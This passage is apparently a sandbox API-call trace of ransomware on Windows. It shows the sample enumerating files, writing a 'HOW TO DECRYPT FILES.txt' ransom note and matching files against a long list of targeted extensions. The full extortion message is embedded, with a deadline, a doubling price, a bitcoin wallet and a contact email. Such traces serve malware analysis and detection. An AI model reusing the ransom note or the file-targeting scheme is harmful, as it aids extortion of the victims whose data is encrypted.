(lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\how to decrypt files.txt")) returned 0xffffffff [0165.455] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.455] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.455] CloseHandle (hObject=0xffffffff) returned 0 [0165.455] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\", lpString2="DefineErrorPage.aspx.resx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\DefineErrorPage.aspx.resx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\DefineErrorPage.aspx.resx" [0165.455] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\DefineErrorPage.aspx.resx", pszSpec="*.ems") returned 0 [0165.456] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafeefb79, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xafeefb79, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x908718cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="EditAppSetting.aspx.resx", cAlternateFileName="EDITAP~1.RES")) returned 1 [0165.456] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.456] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="EditAppSetting.aspx.resx") returned -1 [0165.456] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="EditAppSetting.aspx.resx") returned 1 [0165.456] lstrcmpiA (lpString1="", lpString2="EditAppSetting.aspx.resx") returned -1 [0165.456] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\DefineErrorPage.aspx.resx") returned="DefineErrorPage.aspx.resx" [0165.456] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" [0165.457] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\") returned="" [0165.457] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" [0165.457] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\how to decrypt files.txt")) returned 0xffffffff [0165.457] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.457] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.457] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.457] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.457] CloseHandle (hObject=0xffffffff) returned 0 [0165.457] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\", lpString2="EditAppSetting.aspx.resx" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx" [0165.457] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.ems") returned 0 [0165.457] lstrlenA (lpString="*.ems") returned 5 [0165.458] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.db") returned 0 [0165.458] lstrlenA (lpString="*.db") returned 4 [0165.458] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.dbf") returned 0 [0165.458] lstrlenA (lpString="*.dbf") returned 5 [0165.458] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.myox") returned 0 [0165.458] lstrlenA (lpString="*.myox") returned 6 [0165.458] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.myo") returned 0 [0165.458] lstrlenA (lpString="*.myo") returned 5 [0165.458] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.qbw") returned 0 [0165.458] lstrlenA (lpString="*.qbw") returned 5 [0165.458] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.qbb") returned 0 [0165.458] lstrlenA (lpString="*.qbb") returned 5 [0165.458] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.qbm") returned 0 [0165.458] lstrlenA (lpString="*.qbm") returned 5 [0165.458] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.qbo") returned 0 [0165.458] lstrlenA (lpString="*.qbo") returned 5 [0165.458] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.qbx") returned 0 [0165.458] lstrlenA (lpString="*.qbx") returned 5 [0165.458] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.qba") returned 0 [0165.459] lstrlenA (lpString="*.qba") returned 5 [0165.459] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.qby") returned 0 [0165.459] lstrlenA (lpString="*.qby") returned 5 [0165.459] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.qbj") returned 0 [0165.459] lstrlenA (lpString="*.qbj") returned 5 [0165.459] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.ofx") returned 0 [0165.459] lstrlenA (lpString="*.ofx") returned 5 [0165.459] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.qif") returned 0 [0165.459] lstrlenA (lpString="*.qif") returned 5 [0165.459] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.mye") returned 0 [0165.459] lstrlenA (lpString="*.mye") returned 5 [0165.459] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.mbox") returned 0 [0165.459] lstrlenA (lpString="*.mbox") returned 6 [0165.459] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.eml") returned 0 [0165.459] lstrlenA (lpString="*.eml") returned 5 [0165.459] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.pst") returned 0 [0165.459] lstrlenA (lpString="*.pst") returned 5 [0165.459] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.ost") returned 0 [0165.459] lstrlenA (lpString="*.ost") returned 5 [0165.459] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.idx") returned 0 [0165.459] lstrlenA (lpString="*.idx") returned 5 [0165.459] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.dbx") returned 0 [0165.460] lstrlenA (lpString="*.dbx") returned 5 [0165.460] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.sql") returned 0 [0165.460] lstrlenA (lpString="*.sql") returned 5 [0165.460] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.mdb") returned 0 [0165.460] lstrlenA (lpString="*.mdb") returned 5 [0165.460] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.fdb") returned 0 [0165.460] lstrlenA (lpString="*.fdb") returned 5 [0165.460] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.wab") returned 0 [0165.460] lstrlenA (lpString="*.wab") returned 5 [0165.460] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.dat") returned 0 [0165.460] lstrlenA (lpString="*.dat") returned 5 [0165.460] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.txt") returned 0 [0165.460] lstrlenA (lpString="*.txt") returned 5 [0165.460] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.jpeg") returned 0 [0165.460] lstrlenA (lpString="*.jpeg") returned 6 [0165.460] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.jpg") returned 0 [0165.460] lstrlenA (lpString="*.jpg") returned 5 [0165.460] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.png") returned 0 [0165.460] lstrlenA (lpString="*.png") returned 5 [0165.460] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.php") returned 0 [0165.460] lstrlenA (lpString="*.php") returned 5 [0165.460] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.cs") returned 0 [0165.461] lstrlenA (lpString="*.cs") returned 4 [0165.461] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.cpp") returned 0 [0165.461] lstrlenA (lpString="*.cpp") returned 5 [0165.461] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.rar") returned 0 [0165.461] lstrlenA (lpString="*.rar") returned 5 [0165.461] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.zip") returned 0 [0165.461] lstrlenA (lpString="*.zip") returned 5 [0165.461] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.html") returned 0 [0165.461] lstrlenA (lpString="*.html") returned 6 [0165.461] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.htm") returned 0 [0165.461] lstrlenA (lpString="*.htm") returned 5 [0165.461] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.xlsx") returned 0 [0165.461] lstrlenA (lpString="*.xlsx") returned 6 [0165.461] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.xls") returned 0 [0165.461] lstrlenA (lpString="*.xls") returned 5 [0165.461] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.mp4") returned 0 [0165.461] lstrlenA (lpString="*.mp4") returned 5 [0165.461] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.ppt") returned 0 [0165.461] lstrlenA (lpString="*.ppt") returned 5 [0165.461] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.pptx") returned 0 [0165.461] lstrlenA (lpString="*.pptx") returned 6 [0165.461] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.doc") returned 0 [0165.462] lstrlenA (lpString="*.doc") returned 5 [0165.462] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.dot") returned 0 [0165.462] lstrlenA (lpString="*.dot") returned 5 [0165.462] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.docx") returned 0 [0165.462] lstrlenA (lpString="*.docx") returned 6 [0165.462] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.7z") returned 0 [0165.462] lstrlenA (lpString="*.7z") returned 4 [0165.462] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.tar") returned 0 [0165.462] lstrlenA (lpString="*.tar") returned 5 [0165.462] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.bz2") returned 0 [0165.462] lstrlenA (lpString="*.bz2") returned 5 [0165.462] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.gz") returned 0 [0165.462] lstrlenA (lpString="*.gz") returned 4 [0165.462] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.mkv") returned 0 [0165.462] lstrlenA (lpString="*.mkv") returned 5 [0165.462] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.eml") returned 0 [0165.462] lstrlenA (lpString="*.eml") returned 5 [0165.462] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.msg") returned 0 [0165.462] lstrlenA (lpString="*.msg") returned 5 [0165.462] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.edb") returned 0 [0165.462] lstrlenA (lpString="*.edb") returned 5 [0165.462] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.accdb") returned 0 [0165.462] lstrlenA (lpString="*.accdb") returned 7 [0165.462] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.odb") returned 0 [0165.463] lstrlenA (lpString="*.odb") returned 5 [0165.463] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.java") returned 0 [0165.463] lstrlenA (lpString="*.java") returned 6 [0165.463] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.asm") returned 0 [0165.463] lstrlenA (lpString="*.asm") returned 5 [0165.463] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.pfx") returned 0 [0165.463] lstrlenA (lpString="*.pfx") returned 5 [0165.463] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.pem") returned 0 [0165.463] lstrlenA (lpString="*.pem") returned 5 [0165.463] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.p12") returned 0 [0165.463] lstrlenA (lpString="*.p12") returned 5 [0165.463] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.gpg") returned 0 [0165.463] lstrlenA (lpString="*.gpg") returned 5 [0165.463] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.vsd") returned 0 [0165.463] lstrlenA (lpString="*.vsd") returned 5 [0165.463] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.odg") returned 0 [0165.463] lstrlenA (lpString="*.odg") returned 5 [0165.463] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.raw") returned 0 [0165.463] lstrlenA (lpString="*.raw") returned 5 [0165.463] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.nef") returned 0 [0165.463] lstrlenA (lpString="*.nef") returned 5 [0165.463] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.svg") returned 0 [0165.463] lstrlenA (lpString="*.svg") returned 5 [0165.464] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_appcfg_res_b03f5f7f11d50a3a_6.1.7600.16385_none_dbcd81fadebda0bf\\EditAppSetting.aspx.resx", pszSpec="*.psd") returned 0 [0165.464] lstrlenA (lpString="*.psd") returned 5 [0165.464] PathMatchSpecA 